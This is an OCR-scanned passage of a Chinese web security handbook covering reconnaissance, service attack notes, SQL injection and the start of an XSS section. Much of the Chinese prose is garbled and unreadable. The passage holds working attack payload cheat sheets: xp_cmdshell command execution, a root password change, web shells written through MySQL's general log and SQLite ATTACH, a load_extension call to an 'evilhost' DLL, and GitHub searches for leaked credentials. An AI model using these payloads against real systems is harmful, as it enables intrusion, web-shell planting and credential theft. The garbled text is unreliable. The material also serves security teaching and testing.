e Dragonblood : Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd
e Improving Privacy through Fast Passive Wi-Fi Scanning

e Practical Side-Channel Attacks against WPA-TKIP

e Key Reinstallation Attacks: Breaking the WPA2 Protocol

e RFC 7664 Dragonfly Key Exchange
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CHAPTER 3

ERUE

3.1 MEAO/ER

o PIgHIER
= ShMH
o IP 55
OB
o LM%
— Wi-Fi
* SSID
* AIE(E B
« VPN
- IR
— B3I
o HBPER
« FHl APP
. IEFIES
. SSO
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o BH MR
o FiHzER

3.2 BEER

3.2.1 Whois

Whois A PAREIIERAS 2 HA N, PASGENHEA rOTEAR R B BRI, e E— A nfE R, 6l
WA AN AR AR

3.2.2 BRI EHER

RS EEE SO R A S, TTAELT site: domain [HIEVENRETI.

3.23 £=H&Ei8
W 2 A AR 24 22 (0 5 =0 B T RE T I A B RE, RTS8, 2R RS DATE 8.1 TR T
.

« DNSDumpster

« Virustotal

« CrtSearch

« threatminer

e Censys

3.2.4 ASN {EBxBXx

FEM 25— HIA RS (Autonomous System, AS) &— MU H EHR ELEA RGEH RLR FI AT if i F P
AR/ NI BT o oA I 2 BT T DA TRT BRI 245-E R DA — A B — A 2 A0 ) o 245 B R A2 A T 14
R, BRI AR B 4% B (BN TR, — ks A EANME)

— ARG RHILBRR i — N ek (routing domain) o —A~HIR RS S0 HL— 2RI MHE—/Y
16 (5 M, XASHPRCN HIE RS (ASN) o NI Ailid ASN SoRA AT RERI XY 1P, filhn:

whois -h whois.radb.net -- '-i origin AS111111' | grep -Eo "([0-9.]+) /[0-9]+" | uniq

nmap --script targets—asn --script-args targets-asn.asn=15169
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3.2.5 B &A%Y
il ol /A ATE A8 8 A AR S, BV T i — AR, B0 T 146
R AR, FTOABE R SORFER SIIIRA, . — B P T

o B IR

o B EISRT

o RS E A

. AT

o RAEEMA

o SEREEN A AEEI AR

o B IR R

A LRI OB ) T4

3.2.6 MiLIERFIA

WA AL Z AR, WA Sy, I . B SR T AE Rt — 25 E

Wb A= B ) A2 HLIE NI BRNI AL, AL T IA L RSO, W] DA A RH R, et
WAL IR R . X L Bl BUAE JavaScript SCHE. BRSO SR A E .

VX 3t ) 22 A SR QB AR SR . CST LI 253 5 th A0 S5 AR SR B 15 L o A MRS A4 o T 5 (& B ) —
A~ SSL/TLS kA5, P AT il Al e ik 55 S IBURH 384 15 5L

3.2.7 HTTPS iE#H
EEA

HTARIE HTTPS IEBASPR L s thid, CA SFFUEFICREI A ATFRE. AR S H A REM A28 H
G ARG KR AT AR B OB A R BT UE TS . DR AT DATE 1 A9 B S BGIE A3 ) O 2k
ARFHAH R4

SAN
EHi 4 447K (Subject Alternate Name, SAN), Mk, EREL M4, I TR, £

A SAN E43. SAN AVFFELAUEAS A subjectAltName “FECRFZAMESUEF I, X SRR N 32/
#MATE.
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3.2.8 i EXIRE

DNS %1% (zone transfer) FRAZTUA A1 IR 55 4% 6 oK A S5 S A9 BRI T H S AV (zone) Kt
ey IEINIRE . & S B O N DS K b 2 e S e 2 VI

— MR, A R R R AVFATE R ) DNS R85 408, (E2 ARERIE TR, BAEENF
HOATASRAGEE S DNS iz 55 85 A4 7 R X PR BRI /2 DNS & s i -

3.2.9 Passive DNS

Passive DNS 4 2l 1) 35 35k 424 g 55 #5258 % B AN Rl 4 AR S5 2 ma 1., T2 UEda e . il ] Passive DNS 4§
P DAHITE I 4 8 40 2 i WL TP, TP R GBI WIS 4 | $ui B L/ Bl H BRI B 1a) SRt e Ky
FEh, Virustotal, passivetotal, CIRCL £&MWuhEREHL T Passive DNS ¥4 i 25 14)

3.2.10 ;ZER¥T

ZIENTRAE *.exzample.com PTG A CEAMEATRFEAS TP Huhk b, 783048 Hess e g BEAR PRI AR B0 PABT
2SN N0 L O TR

3.2.11 EEgHF

CNAME

CNAME B[l Canonical name, X% alias, 4380 75— 844 . HApnl e & HAah B S E R, R
Z Wk ) CDN JInsESh e R Ti%ic5%.

MX ig®

MX e Bl Mail Exchanger, 05% 1 %1% BT BRI X I AR S5 ok mTDARIOR 4K SMTP 5548
=

H./Gho

NS ig®

NS (Name Server) iCogie k4 o5 arimicsk, IR E A WA~ DNS Jz 55 &R b7 A -

SPF i2#

SPF (Sender Policy Framework) &4 T By [E374% MRLF £t 2k i —Fh DNS 5288, B—fp TXT *EAE’J
05k, HTEICEA A A W RINE R BT TP Hohk, @it SPF jEsk ] DAAREGH X1 IP 5 .,

4N dig example.com txt ,
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3.2.12 CDN

CDN 84

B 2 ping 1977 U E H AR WA T CDN, # M54 http://ping.chinaz.com/ https://
asm.ca.com/en/ping.php %%,

HaERK

T T CDN f3sk (5l 73848 A i 7 CDN, - Al Ak 7 s A AL o g 1P

mRiLRER

CDN TTABSRAER 3 - — BN A R, DB A b A4 b iC e i Iy ot 2 204 155 1P,

R {52

ettt 2 TARR2AR O ST I8, AHRCE S H gk IP Huhl, TP HuhbnlgBJ& M vl pg BSE IP s34 2 H AR
RO IP.

3.2.13 FiE IR

BT I N7 B 1N - ST DE s g S A TR el ne i T VR 1B 11 = =g N D W S RS v )

3.2.14 FEHFWEAR

AL 46 vl FE A S BCE DNS IR 55458 0 W0 45 A SRR 2 M pf i 55 . 3k48 877 il (DNS Cache
Snooping) FEAHLRE X LER 55 s AR EHTIR , (HHAFARZSROMEBIERE, TR R 54
Ik o X AP T DA RN e 15 (T Ak, JEHR AT

3.3 igOE2

3.3.1 ERmOREESES

. FTP (21/TCP)
— BRI\ 4,35 anonymous : anonymous
— B IR
— VSFTP RfRAJG]
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SSH (22/TCP)
— T4 AR SSH AEAE il W Mz H P 44
— B AR
Telent (23/TCP)
— IR
— SRR I SO 1
SMTP (25/TCP)
— JCINUER AT P A A A
DNS (53/UDP)
Sl e 1
DNS 3
DNS Z174%#%

DNS J5h

SPF / DMARC Check
— DDoS
* DNS Query Flood
* DNS Jziift
— DNS [%iE
DHCP 67/68
— S/
TFTP (69/TCP)
HTTP (80/TCP)
Kerberos (88/TCP)
— FEHF YT KDC Bk
— T AT R A A AN R S ) P i
POP3 (110/TCP)
— R
RPC (135/TCP)
— wmic [k %5 #1
NetBIOS (137/UDP & 138/UDP)

52
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— RER
— 4
NetBIOS / Samba (139/TCP)
— REB
- FHHL
SNMP (161/TCP)
— Public 14
LDAP (389/TCP)
— TR B IE AR 55
— BRI
- EA
HTTPS (443/TCP)
SMB (445/TCP)
— Windows PR, F2IRER SIS
— net use \\192.168.1.1 /user:xxx\username password
Linux Rexec (512/TCP & 513/TCP & 514/TCP)
- #HOL
Rsync (873/TCP)
— KRB
RPC (1025/TCP)
— NFS [EZ 11
Java RMI (1090/TCP & 1099/TCP)
= B R iy 2 A T I
MSSQL (1433/TCP)
— FIE
— 5% GetShell
— SA {241
Oracle (1521/TCP)
— S
NFS (2049/TCP)
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— BRI EAY
— showmount <host>

« ZooKeeper (2171/TCP & 2375/ TCP)
— LHHINIE

o Docker Remote API (2375/TCP)
— KRR IP / R TLS Brilik
— http://docker.addr:2375/version

. MySQL (3306/TCP)
~

5 WebShell
UDF #2242

MOF #E4X

« RDP / Terminal Services (3389/TCP)
— B
« Postgres (5432/TCP)
— B
- PUTRG S
« VNC (5900/TCP)
— BT
« CouchDB (5984/TCP)
— KRBT
« WinRM (5985/TCP)
— Windows %I WS-Management #5251
— 1& Vista FFFETFSHG), 75 Windows Server 2008 ik 452 BRIAFFJE )
« Redis (6379/TCP)
— BB Y
— YaX RIS WebShell
— IS5 S5 Shell
— 5 SSH 24
FME | RCE
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— Windows 5 & zh¥i
o Kubernetes API Server (6443/TCP && 10250/TCP)
— https://Kubernetes:10250/pods
. JDWP (8000/TCP)
— AT
« ActiveMQ (8061/TCP)
. Jenkin (8080/TCP)
— RERLVTA)
o Elasticsearch (9200/TCP)
~ R
— http://es.addr:9200/_plugin/head/
— http://es.addr:9200/_nodes
« Memcached (11211/TCP)
— REZALTTA)
o RabbitMQ (15672/TCP & 15692/TCP & 25672/TCP)
. MongoDB (27017/TCP)
— JoE Y
« Hadoop (50070/TCP & 50075/ TCP)
SRR
BT DA LA R A AT RE Y BLRY 0R,  BREEAE A R ERYIR ST AN e BT, #P AT BEAFAE C 2 A TT A i

3.3.2 ERimOAERKAR

£

A F AL =R T B AR ELR R DS IR R A AL e R, Wi AL TR,
JZ AT RPAPIRA -

AR R, HLDABAR AR ] AREA T i 8 . (AR A S 2 KRBTSR
S EEE]
FA AR SYN £, FEF, U SYN BuBe, WeRME N RST, Wkg H AR RMPARES, #5

#H SYN/ACK, Wi 1 AT HEWPIRAS . A im0 2 m AR, i FLBAAE R Bl i L 22T 46
XA T A
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FIN 1334

FIN 2 10 H ARk —4> FIN Bt WR2IFRsn A, 2okl RST %diatd, 5P i 1 A 2k [v]

Kot , W] DA I AT 2R 2 R T

XA A IFATE TCP =B FAPRSH, FIARSPEUR, HX SYN SIS fiflc— L

3.3.3 Web RS

« Jenkins
— REZALTTA)
« Gitlab
— R4 CVE
« Zabbix

— BUREEASY

3.3.4 HELER

e Censys
e Shodan

o ZoomEye

3.4 RER

o JUMT G B R GG

— Linux R/NEH{H%

— Windows K/NGAHUK
o TR

— robots.txt

— crossdomain.xml

— sitemap.xml

— Xx.tar.gz

— xx.bak

-~
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W PR 5 &
— 4 PHP / Java / Python %
— RS54, AN php/asp/jsp
il i HE S
— 101 jQuery / BootStrap / Vue / React / Angular %
- BEHEEAY
]k 55 25
— 41 Apache / Nginx / IIS %
— #1F header FHYMEE
— AR B
— AR BRI U I
Web %583k 55 %5
— il Tomcat / Jboss / Weblogic %
Jri i HE SR
— #R#E Cookie H|Wr
— M4 CSS / 72 5ER A hash (A1
— 4% URL ¥ h i
* Il wp-admin
— AR PO BT Y O B
— MR LY 3k Y X-Powered-By
CDN {5
— # LA Cloudflare. yunjiasu
HRIWA BT WAF, G4y, 128800
- H WAF, #iggdir
- ¥f, AT
FIREORH %, AR S AL iR
— iz A H E UL wl, NONER Y
5 1 M€t T B o8 3t 5 5

EEEERE, EAERWHRATR, SEARRR Y R4 TR IT 2 N A ar 2 8, #iE
Hean A2 U0, eI H B2 1 H S XS E 44
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o HUWATHbR
— RTFEIR RS
— LR KNFRS

3.5 BESIFEFA

o 24l I RG1% (Google/Bing/Yahoo/Baidu &%) W AFRIH bRt m IR Z (5 5 .

3.5.1 #ES|ELNHEGEE

— KT

— KNEHAL

— KR RfTS

— TS

| & 25 LS S N T EA (S SN A 2
- [ GRS

- PEUE

— I3

— KT

— ARAE R nE

3.5.2 BERFI5

« site:zwww.hao123.com

— IR AR S 2R IR B A 925
« site:www.hao123.com keyword

— R[] F ARl S 2R IO T A 75 s O B ] 1 T A TR

— BT AR RBERBOE MG S G, GG, WB, kA
« site:www.hao123.com inurl:admin.php

— A& [e] H ARl S Rk RS admin.php BRTA T, FTPAME A admin.php/manage.php ol #
HAth ¢ B iR] > 4% 56 S ) RE UL 1
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¢ link:www.haol23.com

— IR L H ARl R SRR DO, P R HIT RN R AR, TP, BT
XA SRS =T A E], AR AR

e related:www.haol23.com

— REIFA S HARuE R AR B T0E, TSt el R £ A

2 9

o intitle:”500 Internal Server Error” ”server at”

— R AR IR
e inurl:”nph-proxy.cgi” ”Start browsing”
— A AR A4

f T PA LR KT, 04 allintile / allinurl / allintext / inanchor / intext / filetype / info / numberange /
cache %,

BECHT

o+ AUFHE—A LA

OR i | FEZ K

o FAAIRTER + AR H| A

o BAAIHTER - FHERRN Y BT
o "R CHET

o HARDING
o TP
o TR and BEITHEER

3.5.3 [rE&

RGP R A — 2R R, R R (R 0T DA I o LR B AR, B0 — Le i R
AL A A5 S, BB B FE T & 1 )5 6 D REBLER A I, 335 20 A Dt Thi 3 IS FR 4 531
BEIF AR R G TP T PRI, RIRE SR b i T AR, (EIR T | SR I ) 2 PR B X 25

T3 AMBA LTI A R AL P B D)8, 40 Wayback Machine il Archive.org %,
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3.5.4 Github

1t Github H, ATRESAFAEIRAD G . AccessKey iitF . #ih% . MRTAFACELIERSFIGO0, AR RS
e Qexample.com password/pass/pwd/secret/credentials/token
e Qexample.com username/user/key/login/ftp/
e Qexample.com config/ftp/smtp/pop
e Qexample.com security_credentials/connetionstring

e Qexample.com JDBC/ssh2_auth_password/send_keys

3.6 H&TE*

3.6.1 kB

BRI, AR E LRI, TRIGE. AR, GRS, TR,
B AN B 5 1 -

KEIEH PSS T AR

3.6.2 AR{ERBKE
X NG B o B AR BB S A R AR . Hh EE AR R EE .
ROUERGL . JadE. Wor. AZE g BT CHLK

N GG SRR A S I D G2 s, Il il REAL & b T % L A BREEP S N BLRAE R . IR 2R 2
RE RIS R S T mT BB A2 ) BT T A S M3 N AR 2% R (st 2 oAt 2207 2K

TEARBGX L5 BT, WIPATE Github/Linkedin £541%2 . S Rl gt 20 A R 26 AXEHIEM A5 H
Prul A KR —UIE R, 2t 2B (S S

BEAh, HT AR ERICE 4 BRAE AT A T IR AR R A, BRIBONH B T o

3.6.3 §)&

BT Z AR E R, PTABER Office/ CHM/RAR/EXE S5 SCPFHI Ry Mp PR Ak 2 H AR, DUk
El

JEh O

Hrp Office MDA Office i, %:. OLE X4, PPSX 45y =i 1 FH S0
Exe A D4R Unicode 42 il 545 KA H 7 2 1RIE 1 SCHF 44 -

AR5 SRR TIn eSS N ARG IEAE , W LAGE AT 4E N A IRAE s, AR AR MR B R A9 (5 L
A A Dy it s ) O XA TR R«
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3.6.4 Hiis 8

WHEIARS . S Wk, BTHME. B RESOFESE A RESAAE— U5 B, i VPN/E2HLKS .
TeamViewer K5 . PIZEEASEGIA 4. RS EBRIA LS55

3.7 &HE

o it FBE A
o REALT LA
o ZLBNIURZ EART A

o MEPFDhiEZ SPF S iy 5 Fiodlpk
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® Wi BB

4.1 SQL FA

4.1.1 FAD
&

SQL FEAZ—MUHEEASOR, T B KEh i SRR T . AER AR, AR B MU A, )
FREEREEE R SQL I AISHR AR A TBOH AT (BIAnRF s A A et b ¥ ) -

IR

RRAEFE I A5T, SQL AN 73y
. HIE
— M/RETE: HAEMY R ] A 3 Wil AT J5 i A R
— WAIE WA IR el 52, S AB SRR 4 IR ] ek ORI e
o MMEFEA: B & s A e o A AR 5 B
o MEERIEA: AMINVHRLAINA 5 J5—RITZ 5KER

o« HAth

63



Web-Sec Documentation, 475 1.0

HIREERR X 53¢

73 ST DARIE SRR 7 2 3 26

inband

FIHS Web [ J1 R BLEPIBCEE, AAREETEA , X I AR 1 3 11 04 ) B2 827 i 2 S A A B

inference

Wi Web i9—LE SIWORIERTEE , i /R ETE, Wbe RATEMAEE, @il web LV A4 HALSCAL S HE
G/

out of band (OOB)

T I A AR 7 SORRAGEE, H A DNS b bR g«

4.1.2 FENEN
BREEAR

« GET/POST/PUT/DELETE %k

¢ X-Forwarded-For

o A

Fuzz R
o v/
e 1/1
e« 1/0
e and 1=1
e " and "1"="1
e and 1=2
e or 1=1
e or 1=

e 'and '1'="'1
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Y

<> ||| & &&

¢]

515 hdT

WAREE

@@version
@@servername
@@language

Q@@spid

iR TIE

40 http://wuw.foo.com/index.asp?id=12+union+select+null,null-- , AHEENI null £ AR [H

REEEN

select 1/0

select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from

information_schema.tables group by x)a

extractvalue(1l, concat(0x5c, (select user())))

updatexml (0x3a,concat (1, (select user())),1)

exp(~(SELECT * from(select user())a))

ST_LatFromGeoHash((select * from(select * from(select user())a)b))

GTID_SUBSET (version(), 1)

BT geometric BRI

GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())al)b))

multilinestring((select * from(select * from(select user())a)b))

4.1.

SQL FA

65



Web-Sec Documentation, 475 1.0

e LINESTRING((select * from(select * from(select user())a)b))

e multipolygon((select * from(select * from(select user())a)b))

HpREOERERE, BT exp RAIIENE AL MySQL 5.5.49 JG A C A AR, REITASH XA

commit 958251 .

MM PA_E AR BT geometric HYFREFEALDXAS commit Scacad FHHIBIR, TE 5.5.x BEGHIHCAH AR
AR

HWEREN

e ;select 1

R

o ——+
o /xxxXX*/
o /XIxxx*/

e /*!50000xxx*/

) ifract ins #R

o A trunc
o T IEREAN T
o B IE R T

o slash Fl4mhg

)

o IR AR
— and exists (select * from msysobjects ) > 0 access %%
— and exists (select * from sysobjects ) > 0 SQLServer %{#i/%E
o JIMTBAER AR
— and exsits (select * from admin)
o A, FWHA. HPH. E4
o B
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— Wi B
* Order By

* Select Into

- K4 I4

A AR

. SCPRRAE
— BRI
— 5 shell

o Hshilit
~ Mk

4.1.3 BRREEFH

UDF 28

UDF (User Defined Function, f/*FHEXeki%l) & MySQL $2fti—2hfiE, mIPAiid4sS DLL 9 A
MySQL #shgrek &, 3§ s HIkE.

LA MySQL RURZ )5, Rl XA B A% B O8RS, A MySQL T R 4Eam4 .

4.1.4 RSN
MySQL

o sleep sleep(1)
o benchmark BENCHMARK (5000000, MD5('test'))
o TR
— SELECT 'a' 'b'
— SELECT CONCAT('some','string')
e version
— SELECT @@version
— SELECT version()
o BUNMT A%

— connection_id ()
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— last_insert_id()

— row_count ()

Oracle
o PR
— 'a'||'oracle' --
— SELECT CONCAT('some', 'string')
e version

— SELECT banner FROM v$version

— SELECT banner FROM v$version WHERE rownum=1

SQLServer

e WAITFOR WAITFOR DELAY '00:00:10';
« SERVERNAME SELECT @@SERVERNAME
e version SELECT @@version

o TR

— SELECT 'some'+'string'

— @@pack_received
— @@rowcount
PostgreSQL

e sleep pg_sleep(1)

4.1.5 GiFHI5

- KNG

— url s

— html {5

— NP D
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— unicode 45
o R
= // == == +-= —# /xx/ ;%00
- WIERERMIEL , B —MRHE /tex/ 2 MySQL fER
— e.g. index.php?id=—1 /*!UNION*/ /*!SELECT*/ 1,2,3
o JUdIE ¥ kit
— union => ununionion
o AHIRIDyHERS L
— PR
* substring / mid / sub
* ascii / hex / bin
* benchmark / sleep
— AR H P

* user() / @Quser

— PSR
* and / &
* or / |
« HTTP %%
— HTTP BS54
* id=1&id=2&id=3 MIEEGA R G AR YEER
— HTTP pHREA
o LRI i
— —6 C IEFN WAF LB FAFR KA, B A KGRI payload A REAR 24k 3
o TURHEAA KBRS, i 2 AT R O VA SRR PR B K B et

4.1.6 SQL F AN/ KIS
BFWEAN

— R BT gbk ARt BOT AR, 2] set names 'gbk' RKUE, XAJIHEF T
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set

character_set_connection = 'gbk',
character_set_result = 'gbk',
'gbk';

character_set_client

TR AR R R 2 AT T set character_set_client = 'gbk'; ZJ&, mysql Bieil e i T R 4L
P2 gbk HRtLiy, MIMAEH gbk Zf#AY, T mysql_real escape ETEMFRYHIIATHY . (H/2 HH%H set names
'gbk' [Jiif real escape J& NHE R EEIEMRIGI, B %6c o M server SEIHIR AR HLIA NTEAL
IFAF +%5¢ J& gbk MI—FAF, XFERE AT T .

RO IMEA = Fh, SH—F2 AL client [ charset BLE N binary, BASM—RFHIIERIE. 8 FEe
mysql_set_charset ('gbk') , X HUAL A 0 B ARAAAERIEU A I E B AT, A 2%t B AN e 1
S = Fliie il pdo.

A — S A gt Ee T, LhA latin £ 38 TR unicode, H54 admin%32 FEAHS HIH A% T admin, 7
Bl LR 2% F admin,

4.1.7 CheatSheet

SQL Server Payload

# 1 Payload

e Version
— SELECT @@version
e Comment
— SELECT 1 -- comment
— SELECT /*comment*/1
e Space
— 0x01 - 0x20
o N ER
— SELECT user_name ()
— SELECT system_user
— SELECT user
— SELECT loginame FROM master..sysprocesses WHERE spid = Q@SPID

FIP R

— select IS_SRVROLEMEMBER('sysadmin')
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— select IS_SRVROLEMEMBER('db_owner')
List User

— SELECT name FROM master..syslogins
Bt fs 2

— SELECT name FROM master..sysdatabases

— select concat_ws(table_schema,table_name,column_name) from

information_schema.columns

— select quotename(name) from master..sysdatabases FOR XML PATH('')

PATI %

EXEC xp_cmdshell 'net user'

Ascii

— SELECT char(0x41)

— SELECT ascii('A')

— SELECT char(65)+char(66) => return AB
Delay

— WAITFOR DELAY '0:0:3' pause for 3 seconds
Change Password

— ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'

Trick
— id=1 union:select password from:user
SCAFEIR
— OpenRowset
Bl
— select text from sys.dm_exec_requests cross apply sys.
dm_exec_sql_text(sql_handle)
hostname

— TR

— select host_name()

— exec Xp_getnetname
155 25 A

— eXec Xp_msver
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AMTIES

e Xp_regread

— exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH'

e Xp_reguwrite
e xp_regdeletvalue
e xp_regdeletkey

e xp_regaddmultistring

REEN

e l=convert(int, (db_name()))

FRER

« SUSER_NAME()
« USER_NAME()
« PERMISSIONS)()
« DB_NAME()

« FILE_NAME()
« TYPE_NAME()

« COL_NAME()

DNS 0O0B

o fn_xe file target_read_file
e fn_get audit_file

e fn_ trace_ gettable

HivFERE#ETE

e sp_execute external script
e sp_ makewebtask

e sp_ OACreate

72
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e sp_ OADestroy

e sp_ OAGetErrorInfo
e sp_ OAGetProperty
e sp_OAMethod

e sp_ OASetProperty
e sp_ OAStop

e xp_ cmdshell

e xp_ dirtree

e xp_ enumerrorlogs
e Xp_ enumgroups

e xp_ fixeddrives

o xp_ getfiledetails

e xp_loginconfig

MySQL Payload

%I Payload

e Version

— SELECT @Q@version
e Comment

— SELECT 1 -- comment

— SELECT 1 # comment

— SELECT /*comment*/1
e Space

— 0x9 Oxa-0xd 0x20 0xa0
e Current User

— SELECT user()

— SELECT system_user()
o List User

— SELECT user FROM mysql.user

e Current Database

4.1. SQL FEA
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— SELECT database()
e List Database

— SELECT schema_name FROM information_schema.schemata
o List Tables

— SELECT table_schema,table_name FROM information_schema.tables WHERE

table_schema != 'mysql' AND table_schema != 'information_schema'

e List Columns

SELECT table_schema, table_name, column_name FROM information_schema.columns

WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

o If

— SELECT if(1=1, 'foo', 'bar'); return ’foo’
e Ascii

— SELECT char (0x41)

— SELECT ascii('A')

— SELECT 0x414243 => return ABC
e Delay

— sleep(1)

— SELECT BENCHMARK (1000000,MD5('A'))
e Read File

— select @@datadir

— select load_file('databasename/tablename.MYD')
o Blind

— ascii(substring(str,pos,length)) & 32 = 1
e Error Based

— select count(*), (floor(rand(0)*2))x from information_schema.tables group by

X3

— select count(*) from (select 1 union select null union select !1)x group
by concat((select table_name from information_schema.tables limit 1),

floor (rand(0)*2))
e Change Password

— mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword')
WHERE user='root';FLUSH PRIVILEGES;"
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REEANEREE

o extractvalue

e updatexml

e GeometryCollection
e linestring

o multilinestring

e multipoint

o multipolygon

e polygon

e exp

BX#

BX rife

o root FUFR

o JGESCIRAEN BR AR

o 5 AMBEIEES AR

o secure_file priv feif Xt AL E S A

e select count(file_priv) from mysql.user

ETF into EXH#

union select 1,1,1 into outfile '/tmp/demo.txt'

union select 1,1,1 into dumpfile '/tmp/demo.txt'

dumpfile I outfile AFEFET, outfile AEATAR UG AT, S5 AT, WERE A THERISCHE, RATHERE
XA RR

T log BXH

show variables like 'Jgeneral),';
set global general_log = on;
set global general_log_file = '/path/to/file';

G¥E))
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(8:EW)

select '<7php var_dump("test");?7>';
set global general_log_file = '/original/path';
set global general_log = off;

PostgresSQL Payload

e Version
— SELECT version()

e Comment
— SELECT 1 -- comment
— SELECT /*comment*/1

e Current User

SELECT user

SELECT current_user

SELECT session_user

SELECT getpgusername ()
o List User

— SELECT usename FROM pg_user
e Current Database

— SELECT current_database()
e List Database

— SELECT datname FROM pg_database
e Ascii

— SELECT char (0x41)

— SELECT ascii('A')
e Delay

— pg_sleep(1)

Oracle Payload

76

Chapter 4. #E R RBPA




Web-Sec Documentation, &% 1.0

# 1 Payload

e dump
— select * from v$tablespace;
— select * from user_tables;
— select column_name from user_tab_columns where table_name = 'table_name';

— select column_name, data_type from user_tab_columns where table_name =

'table_name';
— SELECT * FROM ALL_TABLES

« Comment

— /*x/

— 0x00 0x09 0xa-0xd 0x20

— utl_inaddr.get_host_name
— ctxsys.drithsx.sn
— ctxsys.CTX_REPORT.TOKEN_TYPE
— XMLType
— dbms_xdb_version.checkin
— dbms_xdb_version.makeversioned
— dbms_xdb_version.uncheckout
— dbms_utility.sqlid_to_sqlhash
— ordsys.ord_dicom.getmappingxpath
— utl_inaddr.get_host_name
— utl_inaddr.get_host_address
« OOB
— utl_http.request
— utl_inaddr.get_host_address
— SYS.DBMS_LDAP.INIT

— HTTPURITYPE
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— HTTP_URITYPE.GETCLOB

— rawtohex

Sx#

create or replace directory TEST_DIR as '/path/to/dir';

grant read, write on directory TEST_DIR to system;

declare
isto_file utl_file.file_type;

begin
isto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W');
utl_file.put_line(isto_file, '<% out.println("test"); %>');
utl_file.fflush(isto_file);
utl_file.fclose(isto_file);

end;

SQLite3 Payload

« Comment

— /*x/
e Version
— select sqlite_version();

Command Execution

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<7system($_GET['cmd']); 7>');--

Load_ extension

UNION SELECT 1,load_extension('\\evilhost\evil.dll','E');--

NoSQL Payload

%Il Payload

o BELPRIZRE
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~ {"username": "user"} => {"username": {'me": "fakeuser"}}
~ {"$where": "return true'}
o WA TAF
— /80>
o ARMRTE N
— {"$ne": -1}
— {"$in": [1}
~ {"$where": "return true'}
— {"$or": [{},{"foo":"1"}]}
o IR

— {"$where": "sleep(100)"}

4.1.8 FismiF

&g

SQL JEAJR B N AR5 1 AR 24 iy & AT S 200000, B 82 1) M pR X A TR B — PO 35 . FRE
W HATRAEAF , P — KA RS, 5 — IR H AR AR AR, e SQL

FIESEATENTA AST B Opcode, 55 "R H AR HHE, UA AST 5{ Opcode HihdT. [y IMEIHEILMEDT
a5, AN BHRIEBE AR LR .

R PG i

N B3 EARCAS SR e AN SCRF P PRI IR D0, AT 1 e i AR S B e i ad AR, AT H s X
HUEZE

730
Figm i A &R

T R B G AT R BBy, AR — AR AN e o i Db, (i ar 21
TE AR, AT AR

B SHA T THEIF

TEABITEOLT , BRI AL IS B A BB GRS R AR, PR R4 MBI 24 AN BERE L AT s X
AR O ISR L NS T, W RTRES AR .
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g% P $EIR

HROMEE SRS AT, W RE AT S il -

419 XY=
Tricks

e sqlmap time based inject 44
o SQLInjectionWiki
8 WAEREZE S A Webshell j1 &

MSSQL Hiffi Tt S gt

Bypass

o SQL ¥ A ByPass [f)—2/N 515
o Waf Bypass ZiH

e MySQL Bypass Wiki

NoSQL

o NoSQL ¥ AW Hr FNZE filt
e NoSQL ¥ A

4.2 XSS
4.2.1 933
[F ]y

XSS 4#5 A Cross Site Scripting, 247 Hl CSS pIFRIE N XSS, H3CH AREu A . Pl A A i,
setEEE g R T A A TAETUU AR P Y JavaScript fURSAAT. XSS il H B T3REL Cookie. PASZHH
BB A TRV R T

80 Chapter 4. & iR


http://blog.wils0n.cn/archives/178/
https://github.com/NetSPI/SQLInjectionWiki
https://mp.weixin.qq.com/s/BucCNyCmyATdRENZp0AF2A
https://mp.weixin.qq.com/s/uENvpPan7aVd7MbSoAT9Dg
https://mp.weixin.qq.com/s/fSBZPkO0-HNYfLgmYWJKCg
https://xz.aliyun.com/t/368
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R5HE XSS

RGPS XSS S LBCH WA Z 2, 280k U, 24— sk 0 AR oA S R T Y 54 © <Pphp
echo "<p>hello, $_GET['user'l</p>";?> , HRAYEV A E /?user=</p><script>alert("hack")</
script><p> , AT PATHIE L) JavaScript (LS.

SO XSS i # BRI R A RE D, F 2 s S R A el %, HL2 )] XSS Auditor, No-
Script 2 Bl F-BLH S MR

fis?E® XSS

ff7 24 XSS AHH SRR G HE RO, FEXM T, Soh SRt B g e AR SS S Bl e, i
IR AR B -

DOM XSS

DOM A XSS A[FEZAbfET DOM B XSS — iR 55 e WA b 350A B KRR, M2 AE JavaScript 4
AT LR A

Bl

<html>

<head>

<title>DOM Based XSS Demo</title>
<script>

function xsstest()

{
var str = document.getElementById("input") .value;
document . getElementById("output") .innerHTML = "<img src='"+str+"'></img>";
}
</script>
</head>
<body>

<div id="output"></div>

<input type="text" id="input" size=50 value="" />

<input type="button" value="submit" onclick="xsstest()" />
</body>

</html>

i A\ x' onerror='javascript:alert(/xss/) RW[fili %,
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Blind XSS

Blind XSS 274 XSS fy—Ff, ERAFFERLAF M, M4 “2HH" DX A utim i haT, H BAESC
Rixt g (DOM) F 23 payload., ‘E#iFrA Blind SR 2 PR g & & AL 700 3 A S 88 40 1 P i Sh g
E.

4.2.2 fBE

FAE XSS iy, FTRES FERA T LRI

L. 7Yy Cookie HakHL, Al BEAFAE Session ID SRR E . 7k 95 g SA O BB 37, et ]
FIXTI Cookie % [ifi Ik 45 % -

2. Wuli s REABAE — & MR LR P R SRR A

3. Yt CSRE 4707 A P B AT e B At .
4. XSS IE,

5. ARBUT AR R

6. A XSS I M.

4.2.3 RIFKRES

[F]y

(] PEESREMS B ) AN [ 2 [ QAT EA T e A L, o T P BV R SR 2 e L @75 [l URL
BE, URL Hpp $k4 . g ORBRARALS, QR4S URL @b, s Al CARTE s b AT R

file 35 FR SR ER

TEZ A e, ARE WA file 3Eg URL B N2 FIIRRY . AR DRI HTML SCPERRRT PABERCA
HumE A ERAEAT A ST

M Gecko 1.9 JHif, SO T SEAREAY [ PRems, A MR SCPRRY S H sk FARSCPFIALSE H SR, SOk
A BEREE ) — A3

cookie B )i SR
cookie fif U [F] H I E XI55, — A BUHE W] DA A SHUE AT QI . cookie, R BERACHIA 2 A 5%
(public suffix) Hn],

ANEE WAL (HTTP/HTTPS) 8 145, W B8 ER FV/F48 @ B3 B AT A T8 44 17 1) cookie. K
cookie i, A PAf#i | domain / path / secure Fl http-only Hric bR & HAH M.

